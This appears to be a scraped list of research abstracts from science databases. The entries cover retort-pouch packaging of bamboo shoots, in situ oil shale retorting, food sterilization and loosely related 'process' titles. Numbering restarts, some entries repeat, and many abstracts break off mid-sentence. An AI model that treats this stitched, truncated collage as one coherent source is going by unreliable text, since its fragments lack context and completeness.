研究了蒸煮袋材料透氧性对其真空包装水煮笋品质劣变的影响.采用3种不同透氧量的耐高温蒸煮复合薄膜PA/PE、KPA/PE和PA/PET/SiO/PE对水煮笋进行真空包装,基于33℃恒温加速试验测定分析不同包装材料内的水煮笋感官与营养品质的劣变规律,以水煮笋色泽、硬度、可溶性蛋白质、游离氨基酸、还原糖和维生素C作为关键质量指标,比较各自的品质劣变速度.结果表明,蒸煮袋材料的氧气透过量对水煮笋各指标劣变程度影响显著(P<0.05),笋的品质劣变速度随材料透氧量的增加而提高,其中,透氧量最小的材料PA/PET/SiOx/PE对产品品质的维持效果最佳.%The effect of oxygen permeance of retort pouches on the quality deterioration of vacuum-packaged boiled bamboo shoots was studied.The boiled bamboo shoots were vacuum-packaged with three heat-resistant laminated films of PA/PE,KPA/PE and PA/PET/SiOx/PE which had different oxygen permeance.The sensory and nutritional quality degradation of boiled bamboo shoots packaged in these three materials were analyzed via constant temperature accelerating test at 33℃.The color,firmness,soluble protein,free amino acid,reducing sugar and vitamin C in boiled bamboo shoots were regarded as critical quality indexes in order to compare the respective quality degradation rate for each group of samples.The results showed that the oxygen permeance of retort pouches had a significant effect on index degradation rate of boiled bamboo shoots (P < 0.05).The degradation rates were increased with the increase of material oxygen permeance.Among all the three kinds of material,the least oxygen premeance was PA/PET/SiOx/PE and it had the best function to maintain the products quality. 11. Converting oil shale to liquid fuels: energy inputs and greenhouse gas emissions of the Shell in situ conversion process. Science.gov (United States) 2008-10-01 Oil shale is a sedimentary rock that contains kerogen, a fossil organic material. Kerogen can be heated to produce oil and gas (retorted). This has traditionally been a CO2-intensive process. In this paper, the Shell in situ conversion process (ICP), which is a novel method of retorting oil shale in place, is analyzed. The ICP utilizes electricity to heat the underground shale over a period of 2 years. Hydrocarbons are produced using conventional oil production techniques, leaving shale oil coke within the formation. The energy inputs and outputs from the ICP, as applied to oil shales of the Green River formation, are modeled. Using these energy inputs, the greenhouse gas (GHG) emissions from the ICP are calculated and are compared to emissions from conventional petroleum. Energy outputs (as refined liquid fuel) are 1.2-1.6 times greater than the total primary energy inputs to the process. In the absence of capturing CO2 generated from electricity produced to fuel the process, well-to-pump GHG emissions are in the range of 30.6-37.1 grams of carbon equivalent per megajoule of liquid fuel produced. These full-fuel-cycle emissions are 21%-47% larger than those from conventionally produced petroleum-based fuels. 12. Effects of aqueous effluents from in situ fossil-fuel processing technologies on aquatic systems Energy Technology Data Exchange (ETDEWEB) Bergman, H.L. 1978-12-01 Progress is reported for the second year of this project to evaluate the effects of aqueous effluents from in-situ fossil fuel processing technologies on aquatic biota. The project objectives for Year 2 were pursued through five tasks: literature reviews on process water constituents, possible environmental impacts and potential control technologies; toxicity bioassays on the effects of coal gasification and oil shale retorting process waters and six process water constituents on aquatic biota; biodegradation studies on process water constituents; bioaccumulation factor estimation for the compounds tested in the toxicity bioassays; and recommendations on maximum exposure concentrations for process water constituents based on data from the project and from the literature. Results in each of the five areas of research are reported. 13. Influence of frequency, grade, moisture and temperature on Green River oil shale dielectric properties and electromagnetic heating processes Energy Technology Data Exchange (ETDEWEB) Hakala, J. Alexandra [National Energy Technology Lab. (NETL), Pittsburgh, PA, (United States); Stanchina, William [Univ. of Pittsburgh, PA (United States); National Energy Technology Lab. (NETL), Pittsburgh, PA, (United States); Soong, Yee [National Energy Technology Lab. (NETL), Pittsburgh, PA, (United States); Hedges, Sheila [National Energy Technology Lab. (NETL), Pittsburgh, PA, (United States) 2011-01-01 Development of in situ electromagnetic (EM) retorting technologies and design of specific EM well logging tools requires an understanding of various process parameters (applied frequency, mineral phases present, water content, organic content and temperature) on oil shale dielectric properties. In this literature review on oil shale dielectric properties, we found that at low temperatures (<200° C) and constant oil shale grade, both the relative dielectric constant (ε') and imaginary permittivity (ε'') decrease with increased frequency and remain constant at higher frequencies. At low temperature and constant frequency, ε' decreases or remains constant with oil shale grade, while ε'' increases or shows no trend with oil shale grade. At higher temperatures (>200º C) and constant frequency, epsilon' generally increases with temperature regardless of grade while ε'' fluctuates. At these temperatures, maximum values for both ε' and ε'' differ based upon oil shale grade. Formation fluids, mineral-bound water, and oil shale varve geometry also affect measured dielectric properties. This review presents and synthesizes prior work on the influence of applied frequency, oil shale grade, water, and temperature on the dielectric properties of oil shales that can aid in the future development of frequency- and temperature-specific in situ retorting technologies and oil shale grade assay tools. 14. Influence of frequency, grade, moisture and temperature on Green River oil shale dielectric properties and electromagnetic heating processes Energy Technology Data Exchange (ETDEWEB) Hakala, J. Alexandra; Soong, Yee; Hedges, Sheila [National Energy Technology Laboratory, Pittsburgh, PA (United States); Stanchina, William [National Energy Technology Laboratory, Pittsburgh, PA (United States); Department of Electrical and Computer Engineering, University of Pittsburgh, PA (United States) 2011-01-15 Development of in situ electromagnetic (EM) retorting technologies and design of specific EM well logging tools requires an understanding of various process parameters (applied frequency, mineral phases present, water content, organic content and temperature) on oil shale dielectric properties. In this literature review on oil shale dielectric properties, we found that at low temperatures (< 200 C) and constant oil shale grade, both the relative dielectric constant ({epsilon}') and imaginary permittivity ({epsilon}'') decrease with increased frequency and remain constant at higher frequencies. At low temperature and constant frequency, {epsilon}' decreases or remains constant with oil shale grade, while {epsilon}'' increases or shows no trend with oil shale grade. At higher temperatures (> 200 C) and constant frequency, {epsilon}' generally increases with temperature regardless of grade while {epsilon}'' fluctuates. At these temperatures, maximum values for both {epsilon}' and {epsilon}'' differ based upon oil shale grade. Formation fluids, mineral-bound water, and oil shale varve geometry also affect measured dielectric properties. This review presents and synthesizes prior work on the influence of applied frequency, oil shale grade, water, and temperature on the dielectric properties of oil shales that can aid in the future development of frequency- and temperature-specific in situ retorting technologies and oil shale grade assay tools. (author) 15. Geokinetics in situ shale oil recovery project. Third annual report, 1979 Energy Technology Data Exchange (ETDEWEB) Hutchinson, D.L. 1980-05-01 Objective is to develop a true in situ process for recovering shale oil using a fire front moving in a horizontal direction. The project is being conductd at a field site located 70 miles south of Vernal, Utah. During 1979, five retorts were blasted. Four of these were small retorts (approx. 7000 tons), designed to collect data for improving the blast method. The fifth retort was a prototype of a full-sized retort measuring approximately 200 ft on each side. Two retorts, blasted the previous year, were burned, and a third retort was ignited near the end of the year. A total of 5170 bbl of oil was produced during the year. 16. [Study on rapid analysis method of pesticide contamination in processed foods by GC-MS and GC-FPD]. Science.gov (United States) Kobayashi, Maki; Otsuka, Kenji; Tamura, Yasuhiro; Tomizawa, Sanae; Kamijo, Kyoko; Iwakoshi, Keiko; Sato, Chizuko; Nagayama, Toshihiro; Takano, Ichiro 2011-01-01 A simple and rapid method using GC-MS and GC-FPD for the determination of pesticide contamination in processed food has been developed. Pesticides were extracted from a sample with ethyl acetate in the presence of anhydrous sodium sulfate, then cleaned up with a combination of mini-columns, such as macroporous diatomaceous earth, C18, GCB (graphite carbon black) and PSA. Recovery tests of 57 pesticides (known to be toxic or harmful) from ten kinds of processed foods (butter, cheese, corned beef, dried shrimp, frozen Chinese dumplings, grilled eels, instant noodles, kimchi, retort-packed curry and wine) were performed, and the recovery rates were mostly between 70% and 120%. This method can be used to judge whether or not processed foods are contaminated with pesticides at potentially harmful levels. 17. Effect of different percent loadings of nanoparticles and food processing conditions on the properties of nylon 6 films Science.gov (United States) 18. Retort to Religious Critics of RET. Science.gov (United States) Nardi, Thomas J. This paper is concerned with people who contact clergymen for counseling who could benefit from the short-term directive therapeutic approach of Rational Emotive Therapy (RET) and the reluctance of clergymen to use RET. The integration of the precepts of Christianity and the concepts of RET is considered. This paper is specifically a response to… 19. Choice of salts for process of continous sodium modification of Al-Si alloys Directory of Open Access Journals (Sweden) Białobrzeski A. 2007-01-01 Full Text Available Broad application of aluminum cast alloys, silumins first of all, have become to be possible after finding a method of change of solidification form in Al-Si eutectic mixture. By introduction to liquid alloy a slight additive of modifying agent this primary thick, needle-like shape of Si crystals becomes altered into fine and compact structure. Quality of structure modification depends on correct proportioning of the modifying agent, temperature of metal and time elapsing from modification to solidification of the alloy. The sodium is used as one of the modifying agents. The sodium is introduced into metal bath in metallic form or in form of compounds containing sodium. Apart from a form in which modifying agent is introduced to metal bath, however, its action is relatively short (about 15-20 minutes. Prolongation of modifying agent’s action can be accomplished due to technology of continuous introduction of the sodium to metal bath. That technology is based on continuous electrolysis of sodium salt, occurring directly in melting pot with liquid alloy. Sodium salt placed in retort ( immersed in liquid metal undergoes dissociation due to applied voltage, and next electrolysis. Sodium ions arisen during the dissociation of sodium salts and electrolysis are “conveyed” through retort walls made from solid electrolyte. In contact with liquid alloy as cathode, sodium ions pass to atomic state, modifying the alloy. Suitable selection of material for the anode (source of sodium is an important issue. The paper presents results of preliminary research concerning selection of sodium salt, based on predetermined Rm tensile strength and measured voltage drop for the alloy in solid state. Values of those parameters confirm modification effect on tested alloys. Complexity of physical-chemical phenomena occurring in course of the process effects on necessity of further investigation which needs to be performed for optimization of parameters of the 20. Chattanooga shale: uranium recovery by in situ processing Energy Technology Data Exchange (ETDEWEB) Jackson, D.D. 1977-04-25 The increasing demand for uranium as reactor fuel requires the addition of sizable new domestic reserves. One of the largest potential sources of low-grade uranium ore is the Chattanooga shale--a formation in Tennessee and neighboring states that has not been mined conventionally because it is expensive and environmentally disadvantageous to do so. An in situ process, on the other hand, might be used to extract uranium from this formation without the attendant problems of conventional mining. We have suggested developing such a process, in which fracturing, retorting, and pressure leaching might be used to extract the uranium. The potential advantages of such a process are that capital investment would be reduced, handling and disposing of the ore would be avoided, and leaching reagents would be self-generated from air and water. If successful, the cost reductions from these factors could make the uranium produced competitive with that from other sources, and substantially increase domestic reserves. A technical program to evaluate the processing problems has been outlined and a conceptual model of the extraction process has been developed. Preliminary cost estimates have been made, although it is recognized that their validity depends on how successfully the various processing steps are carried out. In view of the preliminary nature of this survey (and our growing need for uranium), we have urged a more detailed study on the feasibility of in situ methods for extracting uranium from the Chattanooga shale. 1. Effects of aqueous effluents from in situ fossil fuel processing technologies on aquatic systems. Annual progress report, January 1-December 31, 1979 Energy Technology Data Exchange (ETDEWEB) Bergman, H.L. 1980-01-04 This is the third annual progress report for a continuing EPA-DOE jointly funded project to evaluate the effects of aqueous effluents from in situ fossil-fuel processing technologies on aquatic biota. The project is organized into four project tasks: (1) literature review; (2) process water screening; (3) methods development; and (4) recommendations. Our Bibliography of aquatic ecosystem effects, analytical methods and treatment technologies for organic compounds in advanced fossil-fuel processing effluents was submitted to the EPA for publication. The bibliography contains 1314 citations indexed by chemicals, keywords, taxa and authors. We estimate that the second bibliography volume will contain approximately 1500 citations and be completed in February. We compiled results from several laboratories of inorganic characterizations of 19 process waters: 55 simulated in situ oil-shale retort waters; and Hanna-3, Hanna-4B 01W and Lawrence Livermore Hoe Creek underground coal gasification condenser waters. These process waters were then compared to a published summary of the analyses from 18 simulated in situ oil-shale retort waters. We completed this year 96-h flow-through toxicity bioassays with fathead minnows and rainbow trout and 48-h flow-through bioassays with Daphnia pulicaria exposed to 5 oil-shale process waters, 1 tar-sand process water, 2 underground coal gasification condenser waters, 1 post-gasification backflood condenser water, as well as 2 bioassays with fossil-fuel process water constituents. The LC/sub 50/ toxicity values for these respective species when exposed to these waters are given in detail. (LTN) 2. OCCIDENTAL VERTICAL MODIFIED IN SITU PROCESS FOR THE RECOVERY OF OIL FROM OIL SHALE. PHASE II Energy Technology Data Exchange (ETDEWEB) Nelson, Reid M. 1980-09-01 The progress presented in this report covers the period June 1, 1980 through August 31, 1980 under the work scope for.Phase II of the DOE/Occidental Oil Shale, Inc. (OOSI) Cooperative Agreement. The major activities at OOSI 1s Logan Wash site during the quarter were: mining the voids at all levels for Retorts 7, 8 and 8x; completing Mini-Retort (MR) construction; continuing surface facility construction; tracer testing the MR 1 s; conducting Retorts 7 & 8 related Rock Fragmentation tests; setting up and debugging the Sandia B-61 trailer; and preparing the Phase II instrumentation plan. 3. Integration of Product, Package, Process, and Environment: A Food System Optimization Science.gov (United States) Cooper, Maya R.; Douglas, Grace L. 2015-01-01 The food systems slated for future NASA missions must meet crew nutritional needs, be acceptable for consumption, and use resources efficiently. Although the current food system of prepackaged, moderately stabilized food items works well for International Space Station (ISS) missions, many of the current space menu items do not maintain acceptability and/or nutritive value beyond 2 years. Longer space missions require that the food system can sustain the crew for 3 to 5 years without replenishment. The task "Integration of Product, Package, Process, and Environment: A Food System Optimization" has the objective of optimizing food-product shelf life for the space-food system through product recipe adjustments, new packaging and processing technologies, and modified storage conditions. Two emergent food processing technologies were examined to identify a pathway to stable, wet-pack foods without the detrimental color and texture effects. Both microwave-assisted thermal sterilization (MATS) and pressure-assisted thermal stabilization (PATS) were evaluated against traditional retort processing to determine if lower heat inputs during processing would produce a product with higher micronutrient quality and longer shelf life. While MATS products did have brighter color and better texture initially, the advantages were not sustained. The non-metallized packaging film used in the process likely provided inadequate oxygen barrier. No difference in vitamin stability was evident between MATS and retort processed foods. Similarly, fruit products produced using PATS showed improved color and texture through 3 years of storage compared to retort fruit, but the vitamin stability was not improved. The final processing study involved freeze drying. Five processing factors were tested in factorial design to assess potential impact of each to the quality of freeze-dried food, including the integrity of the microstructure. The initial freezing rate and primary freeze drying 4. Assessment and control of water contamination associated with shale oil extraction and processing. Progress report, October 1, 1979-September 30, 1980 Energy Technology Data Exchange (ETDEWEB) Peterson, E.J.; Henicksman, A.V.; Fox, J.P.; O' Rourke, J.A.; Wagner, P. 1982-04-01 The Los Alamos National Laboratory's research on assessment and control of water contamination associated with oil shale operations is directed toward the identification of potential water contamination problems and the evaluation of alternative control strategies for controlling contaminants released into the surface and underground water systems from oil-shale-related sources. Laboratory assessment activities have focused on the mineralogy, trace element concentrations in solids, and leaching characteristics of raw and spent shales from field operations and laboratory-generated spent shales. This report details the chemical, mineralogic, and solution behavior of major, minor, and trace elements in a variety of shale materials (spent shales from Occidental retort 3E at Logan Wash, raw shale from the Colony mine, and laboratory heat-treated shales generated from Colony mine raw shale). Control technology research activities have focused on the definition of control technology requirements based on assessment activities and the laboratory evaluation of alternative control strategies for mitigation of identified problems. Based on results obtained with Logan Wash materials, it appears that the overall impact of in situ processing on groundwater quality (leaching and aquifer bridging) may be less significant than previously believed. Most elements leached from MIS spent shales are already elevated in most groundwaters. Analysis indicates that solubility controls by major cations and anions will aid in mitigating water quality impacts. The exceptions include the trace elements vanadium, lead, and selenium. With respect to in situ retort leaching, process control and multistaged counterflow leaching are evaluated as alternative control strategies for mitigation of quality impacts. The results of these analyses are presented in this report. 5. Modeling of hydrologic conditions and solute movement in processed oil shale waste embankments under simulated climatic conditions Energy Technology Data Exchange (ETDEWEB) Reeves, T.L.; Turner, J.P.; Hasfurther, V.R.; Skinner, Q.D. 1992-06-01 The scope of this program is to study interacting hydrologic, geotechnical, and chemical factors affecting the behavior and disposal of combusted processed oil shale. The research combines bench-scale testing with large scale research sufficient to describe commercial scale embankment behavior. The large scale approach was accomplished by establishing five lysimeters, each 7.3 [times] 3.0 [times] 3.0 m deep, filled with processed oil shale that has been retorted and combusted by the Lurgi-Ruhrgas (Lurgi) process. Approximately 400 tons of Lurgi processed oil shale waste was provided by RBOSC to carry out this study. Research objectives were designed to evaluate hydrologic, geotechnical, and chemical properties and conditions which would affect the design and performance of large-scale embankments. The objectives of this research are: assess the unsaturated movement and redistribution of water and the development of potential saturated zones and drainage in disposed processed oil shale under natural and simulated climatic conditions; assess the unsaturated movement of solubles and major chemical constituents in disposed processed oil shale under natural and simulated climatic conditions; assess the physical and constitutive properties of the processed oil shale and determine potential changes in these properties caused by disposal and weathering by natural and simulated climatic conditions; assess the use of previously developed computer model(s) to describe the infiltration, unsaturated movement, redistribution, and drainage of water in disposed processed oil shale; evaluate the stability of field scale processed oil shale solid waste embankments using computer models. 6. Modeling of hydrologic conditions and solute movement in processed oil shale waste embankments under simulated climatic conditions Energy Technology Data Exchange (ETDEWEB) Reeves, T.L.; Turner, J.P.; Hasfurther, V.R.; Skinner, Q.D. 1992-06-01 The scope of this program is to study interacting hydrologic, geotechnical, and chemical factors affecting the behavior and disposal of combusted processed oil shale. The research combines bench-scale testing with large scale research sufficient to describe commercial scale embankment behavior. The large scale approach was accomplished by establishing five lysimeters, each 7.3 {times} 3.0 {times} 3.0 m deep, filled with processed oil shale that has been retorted and combusted by the Lurgi-Ruhrgas (Lurgi) process. Approximately 400 tons of Lurgi processed oil shale waste was provided by RBOSC to carry out this study. Research objectives were designed to evaluate hydrologic, geotechnical, and chemical properties and conditions which would affect the design and performance of large-scale embankments. The objectives of this research are: assess the unsaturated movement and redistribution of water and the development of potential saturated zones and drainage in disposed processed oil shale under natural and simulated climatic conditions; assess the unsaturated movement of solubles and major chemical constituents in disposed processed oil shale under natural and simulated climatic conditions; assess the physical and constitutive properties of the processed oil shale and determine potential changes in these properties caused by disposal and weathering by natural and simulated climatic conditions; assess the use of previously developed computer model(s) to describe the infiltration, unsaturated movement, redistribution, and drainage of water in disposed processed oil shale; evaluate the stability of field scale processed oil shale solid waste embankments using computer models. 7. Role of spent shale in oil shale processing and the management of environmental residues. Final technical report, January 1979-May 1980 Energy Technology Data Exchange (ETDEWEB) Hines, A.L. 1980-08-15 8. Occidental vertical modified in situ process for the recovery of oil from oil shale. Phase II. Quarterly progress report, September 1, 1980-November 30, 1980 Energy Technology Data Exchange (ETDEWEB) 1981-01-01 The major activities at OOSI's Logan Wash site during the quarter were: mining the voids at all levels for Retorts 7 and 8; blasthole drilling; tracer testing MR4; conducting the start-up and burner tests on MR3; continuing the surface facility construction; and conducting Retorts 7 and 8 related Rock Fragmentation tests. Environmental monitoring continued during the quarter, and the data and analyses are discussed. Sandia National Laboratory and Laramie Energy Technology Center (LETC) personnel were active in the DOE support of the MR3 burner and start-up tests. In the last section of this report the final oil inventory for Retort 6 production is detailed. The total oil produced by Retort 6 was 55,696 barrels. 9. Processing needs and methodology for wastewaters from the conversion of coal, oil shale, and biomass to synfuels Energy Technology Data Exchange (ETDEWEB) 1980-05-01 The workshop identifies needs to be met by processing technology for wastewaters, and evaluates the suitability, approximate costs, and problems associated with current technology. Participation was confined to DOE Environmental Control Technology contractors to pull together and integrate past wastewater-related activities, to assess the status of synfuel wastewater treatability and process options, and to abet technology transfer. Particular attention was paid to probable or possible environmental restrictions which cannot be economically met by present technology. Primary emphasis was focussed upon process-condensate waters from coal-conversion and shale-retorting processes. Due to limited data base and time, the workshop did not deal with transients, upsets, trade-offs and system optimization, or with solids disposal. The report is divided into sections that, respectively, survey the water usage and effluent situation (II); identify the probable and possible water-treatment goals anticipated at the time when large-scale plants will be constructed (III); assess the capabilities, costs and shortcomings of present technology (IV); explore particularly severe environmental-control problems (V); give overall conclusions from the Workshop and recommendations for future research and study (VI); and, finally, present Status Reports of current work from participants in the Workshop (VII). 10. A Novel Energy-Efficient Pyrolysis Process: Self-pyrolysis of Oil Shale Triggered by Topochemical Heat in a Horizontal Fixed Bed Science.gov (United States) Sun, You-Hong; Bai, Feng-Tian; Lü, Xiao-Shu; Li, Qiang; Liu, Yu-Min; Guo, Ming-Yi; Guo, Wei; Liu, Bao-Chang 2015-01-01 This paper proposes a novel energy-efficient oil shale pyrolysis process triggered by a topochemical reaction that can be applied in horizontal oil shale formations. The process starts by feeding preheated air to oil shale to initiate a topochemical reaction and the onset of self-pyrolysis. As the temperature in the virgin oil shale increases (to 250–300°C), the hot air can be replaced by ambient-temperature air, allowing heat to be released by internal topochemical reactions to complete the pyrolysis. The propagation of fronts formed in this process, the temperature evolution, and the reaction mechanism of oil shale pyrolysis in porous media are discussed and compared with those in a traditional oxygen-free process. The results show that the self-pyrolysis of oil shale can be achieved with the proposed method without any need for external heat. The results also verify that fractured oil shale may be more suitable for underground retorting. Moreover, the gas and liquid products from this method were characterised, and a highly instrumented experimental device designed specifically for this process is described. This study can serve as a reference for new ideas on oil shale in situ pyrolysis processes. PMID:25656294 11. [Applicability of PCR methods for detection of shrimp and crab in processed food]. Science.gov (United States) Taguchi, Hiromu; Nagatomi, Yasuaki; Kikuchi, Ryo; Hirao, Takashi 2014-01-01 According to Japanese food allergen labeling regulations, an ELISA screening test is used for detection of crustacean proteins in food and a shrimp/crab-PCR confirmation test is used to confirm a positive ELISA screening test and to exclude false positives. Forty-six kinds of processed foods labeled as containing shrimp/crab were subjected to ELISA screening test and PCR confirmation test and the usefulness of the shrimp/crab-PCR was evaluated. Twenty-seven of the 46 samples contained total crustacean protein levels of 10 ppm or more in the ELISA screening test. All of the samples were positive in the shrimp/crab-PCR confirmation test. The results of the confirmation test were consistent with the declaration in the list of ingredients and with the results of the ELISA screening test. The shrimp/crab-PCR confirmation test was demonstrated to be applicable to various kinds of foods, including powder, extract, seasoning paste, prepared frozen food, snack food, retort food and canned food. 12. Retortable Laminate/Polymeric Food Tubes for Specialized Feeding Science.gov (United States) 2012-06-01 Advanced Food Technology School of Enviromental and Biological Sciences New Brunswick, NJ 08903 FTR 303 Defense Logistics Agency 8725 John J. Kingsman Rd...quality issues have elevated concerns over the future availability and viability of this critically important item. Quality, erosion, and availability... issues or production delays leading to loss of this tube supply source are of extreme concern to the military, as the missions which they support 13. 9 CFR 318.305 - Equipment and procedures for heat processing systems. Science.gov (United States) 2010-01-01 ... unauthorized speed changes of the conveyor shall be provided. For example, a lock or a notice from management... speed changes on retorts shall be provided. For example, a lock or a notice from management posted at or... as resistance temperature detectors, used in lieu of mercury-in-glass thermometers, shall meet known... 14. 9 CFR 381.305 - Equipment and procedures for heat processing systems. Science.gov (United States) 2010-01-01 ... unauthorized speed changes of the conveyor shall be provided. For example, a lock or a notice from management... speed changes on retorts shall be provided. For example, a lock or a notice from management posted at or..., such as resistance temperature detectors, shall meet known, accurate standards for such devices when... 15. Introducing the concept of critical Fo in batch heat processing Introduzindo o conceito de Fo crítico no processamento térmico em batelada Directory of Open Access Journals (Sweden) Homero Ferracini Gumerato 2009-12-01 Full Text Available The determination of the sterilization value for low acid foods in retorts includes a critical evaluation of the factory's facilities and utilities, validation of the heat processing equipment (by heat distribution assays, and finally heat penetration assays with the product. The intensity of the heat process applied to the food can be expressed by the Fo value (sterilization value, in minutes, at a reference temperature of 121.1 °C, and a thermal index, z, of 10 °C, for Clostridium botulinum spores. For safety reasons, the lowest value for Fo is frequently adopted, being obtained in heat penetration assays as indicative of the minimum process intensity applied. This lowest Fo value should always be higher than the minimum Fo recommended for the food in question. However, the use of the Fo value for the coldest can fail to statistically explain all the practical occurrences in food heat treatment processes. Thus, as a result of intense experimental work, we aimed to develop a new focus to determine the lowest Fo value, which we renamed the critical Fo. The critical Fo is based on a statistical model for the interpretation of the results of heat penetration assays in packages, and it depends not only on the Fo values found at the coldest point of the package and the coldest point of the equipment, but also on the size of the batch of packages processed in the retort, the total processing time in the retort, and the time between CIPs of the retort. In the present study, we tried to explore the results of physical measurements used in the validation of food heat processes. Three examples of calculations were prepared to illustrate the methodology developed and to introduce the concept of critical Fo for the processing of canned food.A determinação do valor de esterilização de alimentos de baixa acidez em autoclaves compreende uma minuciosa avaliação das instalações e utilidades da fábrica, uma validação do equipamento de processo t 16. Mercury mine drainage and processes that control its environmental impact Science.gov (United States) Rytuba, J.J. 2000-01-01 Mine drainage from mercury mines in the California Coast Range mercury mineral belt is an environmental concern because of its acidity and high sulfate, mercury, and methylmercury concentrations. Two types of mercury deposits are present in the mineral belt, silica-carbonate and hot-spring type. Mine drainage is associated with both deposit types but more commonly with the silica-carbonate type because of the extensive underground workings present at these mines. Mercury ores consisting primarily of cinnabar were processed in rotary furnaces and retorts and elemental mercury recovered from condensing systems. During the roasting process mercury phases more soluble than cinnabar are formed and concentrated in the mine tailings, commonly termed calcines. Differences in mineralogy and trace metal geochemistry between the two deposit types are reflected in mine drainage composition. Silica-carbonate type deposits have higher iron sulfide content than hot- spring type deposits and mine drainage from these deposits may have extreme acidity and very high concentrations of iron and sulfate. Mercury and methylmercury concentrations in mine drainage are relatively low at the point of discharge from mine workings. The concentration of both mercury species increases significantly in mine drainage that flows through and reacts with calcines. The soluble mercury phases in the calcines are dissolved and sulfate is added such that methylation of mercury by sulfate reducing bacteria is enhanced in calcines that are saturated with mine drainage. Where mercury mine drainage enters and first mixes with stream water, the addition of high concentrations of mercury and sulfate generates a favorable environment for methylation of mercury. Mixing of oxygenated stream water with mine drainage causes oxidation of dissolved iron(II) and precipitation of iron oxyhydroxide that accumulates in the streambed. Both mercury and methylmercury are strongly adsorbed onto iron oxyhydroxide over the p 17. Process Accounting OpenAIRE Gilbertson, Keith 2002-01-01 Standard utilities can help you collect and interpret your Linux system's process accounting data. Describes the uses of process accounting, standard process accounting commands, and example code that makes use of process accounting utilities. 18. Integrated oil production and upgrading using molten alkali metal Energy Technology Data Exchange (ETDEWEB) Gordon, John Howard 2016-10-04 A method that combines the oil retorting process (or other process needed to obtain/extract heavy oil or bitumen) with the process for upgrading these materials using sodium or other alkali metals. Specifically, the shale gas or other gases that are obtained from the retorting/extraction process may be introduced into the upgrading reactor and used to upgrade the oil feedstock. Also, the solid materials obtained from the reactor may be used as a fuel source, thereby providing the heat necessary for the retorting/extraction process. Other forms of integration are also disclosed. 19. Integrated oil production and upgrading using molten alkali metal Science.gov (United States) Gordon, John Howard 2016-10-04 A method that combines the oil retorting process (or other process needed to obtain/extract heavy oil or bitumen) with the process for upgrading these materials using sodium or other alkali metals. Specifically, the shale gas or other gases that are obtained from the retorting/extraction process may be introduced into the upgrading reactor and used to upgrade the oil feedstock. Also, the solid materials obtained from the reactor may be used as a fuel source, thereby providing the heat necessary for the retorting/extraction process. Other forms of integration are also disclosed. 20. Zone Freezing Study for Pyrochemical Process Waste Minimization Energy Technology Data Exchange (ETDEWEB) Ammon Williams 2012-05-01 Pyroprocessing technology is a non-aqueous separation process for treatment of used nuclear fuel. At the heart of pyroprocessing lies the electrorefiner, which electrochemically dissolves uranium from the used fuel at the anode and deposits it onto a cathode. During this operation, sodium, transuranics, and fission product chlorides accumulate in the electrolyte salt (LiCl-KCl). These contaminates change the characteristics of the salt overtime and as a result, large volumes of contaminated salt are being removed, reprocessed and stored as radioactive waste. To reduce the storage volumes and improve recycling process for cost minimization, a salt purification method called zone freezing has been proposed at Korea Atomic Energy Research Institute (KAERI). Zone freezing is melt crystallization process similar to the vertical Bridgeman method. In this process, the eutectic salt is slowly cooled axially from top to bottom. As solidification occurs, the fission products are rejected from the solid interface and forced into the liquid phase. The resulting product is a grown crystal with the bulk of the fission products near the bottom of the salt ingot, where they can be easily be sectioned and removed. Despite successful feasibility report from KAERI on this process, there were many unexplored parameters to help understanding and improving its operational routines. Thus, this becomes the main motivation of this proposed study. The majority of this work has been focused on the CsCl-LiCl-KCl ternary salt. CeCl3-LiCl-KCl was also investigated to check whether or not this process is feasible for the trivalent species—surrogate for rare-earths and transuranics. For the main part of the work, several parameters were varied, they are: (1) the retort advancement rate—1.8, 3.2, and 5.0 mm/hr, (2) the crucible lid configurations—lid versus no-lid, (3) the amount or size of mixture—50 and 400 g, (4) the composition of CsCl in the salt—1, 3, and 5 wt%, and (5) the 1. Meat Processing. Science.gov (United States) Legacy, Jim; And Others This publication provides an introduction to meat processing for adult students in vocational and technical education programs. Organized in four chapters, the booklet provides a brief overview of the meat processing industry and the techniques of meat processing and butchering. The first chapter introduces the meat processing industry and… 2. Primary Processing NARCIS (Netherlands) Mulder, W.J.; Harmsen, P.F.H.; Sanders, J.P.M.; Carre, P.; Kamm, B.; Schoenicke, P. 2012-01-01 Primary processing of oil-containing material involves pre-treatment processes, oil recovery processes and the extraction and valorisation of valuable compounds from waste streams. Pre-treatment processes, e.g. thermal, enzymatic, electrical and radio frequency, have an important effect on the oil r 3. Elektrokemiske Processer DEFF Research Database (Denmark) Bech-Nielsen, Gregers 1997-01-01 Electrochemical processes in: Power sources, Electrosynthesis, Corrosion.Pourbaix-diagrams.Decontamination of industrial waste water for heavy metals.......Electrochemical processes in: Power sources, Electrosynthesis, Corrosion.Pourbaix-diagrams.Decontamination of industrial waste water for heavy metals.... 4. Data processing CERN Document Server Fry, T F 2013-01-01 Data Processing discusses the principles, practices, and associated tools in data processing. The book is comprised of 17 chapters that are organized into three parts. The first part covers the characteristics, systems, and methods of data processing. Part 2 deals with the data processing practice; this part discusses the data input, output, and storage. The last part discusses topics related to systems and software in data processing, which include checks and controls, computer language and programs, and program elements and structures. The text will be useful to practitioners of computer-rel 5. Process mining DEFF Research Database (Denmark) van der Aalst, W.M.P.; Rubin, V.; Verbeek, H.M.W. 2010-01-01 Process mining includes the automated discovery of processes from event logs. Based on observed events (e.g., activities being executed or messages being exchanged) a process model is constructed. One of the essential problems in process mining is that one cannot assume to have seen all possible...... behavior. At best, one has seen a representative subset. Therefore, classical synthesis techniques are not suitable as they aim at finding a model that is able to exactly reproduce the log. Existing process mining techniques try to avoid such “overfitting” by generalizing the model to allow for more... 6. Sewer Processes DEFF Research Database (Denmark) Hvitved-Jacobsen, Thorkild; Vollertsen, Jes; Nielsen, Asbjørn Haaning by hydrogen sulfide and other volatile organic compounds, as well as other potential health issues, have caused environmental concerns to rise. Reflecting the most current developments, Sewer Processes: Microbial and Chemical Process Engineering of Sewer Networks, Second Edition, offers the reader updated...... revisions of chapters from the previous edition, adds three new chapters, and presents extensive study questions. • Presents new modeling tools for the design and operation of sewer networks • Establishes sewer processes as a key element in preserving water quality • Includes greatly expanded coverage...... of odor formation and prediction • Details the WATS sewer process model • Highlights the importance of aerobic, anoxic, and anaerobic processes Sewer Processes: Microbial and Chemical Process Engineering of Sewer Networks, Second Edition, provides a basis for up-to-date understanding and modeling of sewer... 7. Magnetics Processing Data.gov (United States) Federal Laboratory Consortium — The Magnetics Processing Lab equipped to perform testing of magnetometers, integrate them into aircraft systems, and perform data analysis, including noise reduction... 8. Design Processes DEFF Research Database (Denmark) Ovesen, Nis 2009-01-01 advantages and challenges of agile processes in mobile software and web businesses are identified. The applicability of these agile processes is discussed in re- gards to 